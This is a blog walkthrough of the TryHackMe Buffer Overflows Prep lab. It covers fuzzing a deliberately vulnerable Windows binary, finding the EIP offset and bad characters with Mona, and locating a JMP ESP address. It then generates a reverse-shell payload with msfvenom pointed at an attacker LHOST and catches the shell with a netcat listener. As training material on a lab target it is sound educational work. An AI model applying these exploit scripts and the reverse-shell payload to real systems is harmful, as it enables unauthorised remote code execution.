Exploiting Buffer Overflows on TryHackMe

Exploiting Buffer Overflows on TryHackMe

Hello World, and welcome to HaXeZ. Today I want to talk about Buffer Overflows. I’ve struggled with Buffer Overflows for a long time. In other words, I understood the concept but always had trouble applying it practically. Recently I have buried my head in the sand and have just sunk hours into TryHackMe. I came across the buffer overflows learning path and finally understand so now I’m bringing you this article.

Buffer Overflows Setup

The First thing we need to do is to head to TryHackMe and head to the Buffer Overflows Prep room. You can find the room here. Next, we need to spawn the machine and grab the IP address. You can then remote desktop from your Linux virtual machine to the new IP address using Remmina.

Setting Up Immunity

Once connected via RDP to the Windows Machine, launch Immunity as an Administrator and configure Mona using the following command.

"!mona config -set workingfolder c:\mona\%p"
Configuring Mona On Immunity Debugger
Configuring Mona On Immunity Debugger

After immunity has been configured, you can open the oscp.exe program which is found in the vulnerable program’s directory. You can then run the program by clicking the red arrow. Feel free to poke around on the program by connecting to it using netcat on port 1337.

Fuzzing The Program

We need to fuzz the program to see if it is vulnerable. We do this by sending it a long string of characters. In essence, This long string of characters will eventually exceed the memory buffer causing the buffer overflow. That drastically simplifies the process but let’s start fuzzing the program. Grab the script below and amend it with the IP address of the host and the overflow you want to target.

#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.237.191"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Ensure the program is running then launch the fuzzing script. Additionally, make a note of the number of bytes it takes to crash the program.

"python3 fuzz.py"
Buffer Overflow Fuzzing
Buffer Overflow Fuzzing

Create a Cyclic Pattern

Finding the EIP offset requires us to create a pattern with the length that was required to crash the program. For example, we can use Metasploit to create a Cyclic Pattern by using the command below. However, an additional 400 bytes should be added to the pattern. As it took 2400 bytes to crash the program we will create a pattern of 2400.

   /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400     
Metasploit Creating Cyclic Pattern
Metasploit Creating Cyclic Pattern

Next, you need to edit the python payload below and add the Cyclic Pattern to the payload variable. Please be advised that I have snipped some out to save space so the below payload won’t work. Generate and use your own.

import socket

ip = "MACHINE_IP"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = <sniped>"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4A"<sniped>
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Finding The EIP Offset

Next, we need to find the EIP offset. By all means, go and research what the EIP offset is used for, I’m not going to explain a lot in detail here as the post will be long enough. Anyway, restart and reopen the vulnerable OSCP program and then launch your python exploit script.

python3 exp.py

Once the Python exploit has crashed the script, head over to the immunity debugger and run the following Mona command to find the EIP offset.

!mona findmsp -distance 2000

This should open the Log window but if it doesn’t then open it manually and look for the following entry in the output.

EIP contains normal pattern : ... (offset 1978)

Creating a Byte Array

For Buffer Overflows to be successful we need to ensure that our payloads don’t contain any bad characters. To explain, bad characters such as null bytes (\x00) could cause our payload to crash the program rather than executing the code we specify.

First, we need to modify our exploit script and set the ‘retn’ variable to ‘BBBB’. Next, we need to set the offset variable to the EIP offset value we discovered earlier (1978). Then we need to use Mona to create a Byte Array to compare our payload to. This Byte Array will exclude all the bad characters we find starting with the Null Byte.

!mona bytearray -b "\x00"

In order for us to identify the bad characters, we need to create our own byte array to use as a payload. This can be done using the script below. Copy and save the script to a name of your choice, I chose bad.py. Copy the output of the script and paste it into the payload variable of the exploit script.

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()
Creating a Byte Array
Creating a Byte Array
Adding Byte Array To Buffer Overflows Exploit Script
Adding Byte Array To Buffer Overflows Exploit Script

Finding Bad Characters

Back to finding bad characters, reopen and run the vulnerable OSCP.exe application. Then run your Python buffer overflows exploit script.

Buffer Overflows Python Script
Buffer Overflows Python Script

Once the script has been completed, head back to the Immunity Debugger and loo for the ESP register in the CPU window.

ESP Address in Immunity Debugger
ESP Address in Immunity Debugger

Right click the ESP register and copy the address to your clip then run the following Mona command to compare it to the Byte Array that Mono created earlier. As shown below, this produces a window containing all the bad characters that we need to eliminate from our script. However, some of these characters may not be bad characters. For example \x07 and \x08 are both listed as bad characters but it could be that \x07 is bleeding into \x08 and making it look bad. Therefore, we need to repeat the process we just did and eliminate each bad character one at a time.

  !mona compare -f C:\mona\oscp\bytearray.bin -a 01AFFA30
Buffer Overflows Bad Characters
Buffer Overflows Bad Characters

Reapting The Process

I won’t walk you through each step individually but I will include some code below which should help you to repeat the steps we just did.

Create Byte Array
!mona bytearray -b "\x00"
Remove byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 018BFA30

!mona bytearray -b "\x00\x07"
remove \x07 byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30

!mona bytearray -b "\x00\x07\x2e"
remove \x2e byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30

Keep repeating the process until there are no more bad characters and your comparison results look like the image below.

Immunity Debugger Bad Character Comparison
Immunity Debugger Bad Character Comparison

Finding The Jump Point

Now that we have identified all the bad characters, we can use Mona to find a Jump point in the application that excludes all these bad characters. Again, I don’t have a clue what I’m talking about, I’m just following a process and rewriting it. As you can see from the command below, we are asking Monda to find a jump point excluding all the bad characters we have eliminated.

 !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Buffer Overflows Jump Point
Buffer Overflows Jump Point

Creating The Buffer Overflow Exploit

We now need to create our payload. As can be seen from the snippet and image below, we can use msfvenom to create it for us. Ensure you select the correct payload, change your LHOST address, and include the bad characters. We include the bad characters to ensure that the payload doesn’t contain any.

msfvenom -p windows/shell_reverse_tcp LHOST=10.18.127.129 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

   

Msfvenom Buffer Overflows Payload
Msfvenom Buffer Overflows Payload

Next, we need to modify our Python exploit script to add the payload and return address (the JMP address we just found). Ensure that the payload starts with an open bracket and double speech mark, and closes with a double speech mark and close bracket. When adding the return address, you need to reverse the JMP address. See the image below for details. The original JMP address is in blue as a comment. You can see that 625011af becomes \xaf\x11\x50\x62. You also need to add the padding as shown below (padding = “\x90” * 16).

Buffer Overflows Exploit
Buffer Overflows Exploit

Exploiting The Buffer Overflow

First, reopen the oscp.exe vulnerable program and run it. Next, create a net cat listener on your attack host.

┌─[✗]─[joe@Parrot]─[~/OF]
└──╼ $sudo nc -lvnp 4444
listening on [any] 4444 ...
NetCat Listener
NetCat Listener

Finally…. RUN… THE… EXPLOIT…

Buffer Overflow Complete
Buffer Overflow Complete

Conclusions

Going through the Buffer Overflow series on TryHackMe has taught me a lot about failure and success. It has allowed me to reflect on how impatient I can be when things aren’t going my way. I feel that this is such a relevant topic in society today. A lot of things aren’t going our way right now. Ukraine is being invaded by Russia, the cost of living crisis, our clueless leadership and so much more. It’s all incredibly frustrating to sit back and watch. Sometimes I just want to fast forward life until it isn’t so crappy again. However, our failures and setbacks allow us to appreciate the good things in life when they do happen. I was overjoyed when I finally got this exploit to work. Granted it is insignificant to the problems in the world but perhaps something better is just on the horizon.